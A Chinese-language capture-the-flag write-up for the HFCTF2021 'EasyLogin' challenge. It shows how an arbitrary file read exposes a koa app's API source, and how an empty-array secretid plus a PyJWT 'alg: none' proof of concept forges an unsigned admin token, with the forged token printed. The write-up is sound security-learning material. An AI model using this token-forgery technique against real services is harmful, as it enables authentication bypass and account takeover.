HFCTF2021EasyLogin

发布于 2021-08-06  60 次阅读


知识点

  • Node.js任意文件读取漏洞
  • koa目录结构- controllers 项目控制器目录接受请求处理逻辑
    - DataBase 保存数据库封装的CRUD操作方法
    - models文件夹 对应的数据库表结构
    - config文件夹 项目路由文件夹
    - app.js 入口文件
  • jwt密钥形如:
    字符串.字符串.字符串 大概率为jwt密钥
    tips:
    当header中的alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。
    解密网站:
    https://www.box3.cn/tools/jwt.html
    加密poc:
    pip3 install Pyjwt
    import jwt
    token = jwt.encode(
    {
    "secretid": [],
    "username": "admin",
    "password": "123456",
    "iat": 1595991011
    },
    algorithm="none",key=""
    )

    print(token)

解题过程

打开题目,是一个登陆界面,没有后缀,猜测其前端JS,或者为Python,使用其注册功能,尝试注册admin账号-失败,注册测试账号 test|123,成功登陆。

image-20210801103817124

登陆之后,存在唯一功能点GET FLAG,点击之后发现,提示权限不够,接下来就是想办法提升权限到admin账号

image-20210801104409493

进行信息收集,前端源码中发现 app.js尝试访问

image-20210801104744155

根据注释里面的提示使用了相对路径,koa是node.js的框架,因此存在任意文件读取,根据前置知识读取核心逻辑文件 /controllers/api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

首先查看注册模块,直接写死了,不能注册为admin ,因此只能在login处下手,登陆处的逻辑是获取Username,password和authorization,通过解jwt密钥验证账号密码,因此我们可以构造admin登陆的jwt,伪造成为admin 登陆

使用测试账号在登陆处抓包,可以获取如下信息:

image-20210801105658205

解密authorization的值可获取jwt加密结构

image-20210801105756440

伪造admin的jwt:

import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "123456",
"iat": 1627785742
},
algorithm="none",key=""
)

print(token)
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTYyNzc4NTc0Mn0.

修改请求包,成功实现管理员登陆,即可获取flag

image-20210801105942657

总结与反思

这道题是一道非常常规的Node.js+JWT伪造,没有做出来的原因主要是两点,第一点koz目录结构不够熟悉,经验不足导致api.js没有测试出来。其次js代码不够熟练,代码审计的时候比较困难。接下来学习node.js和它的原型链污染。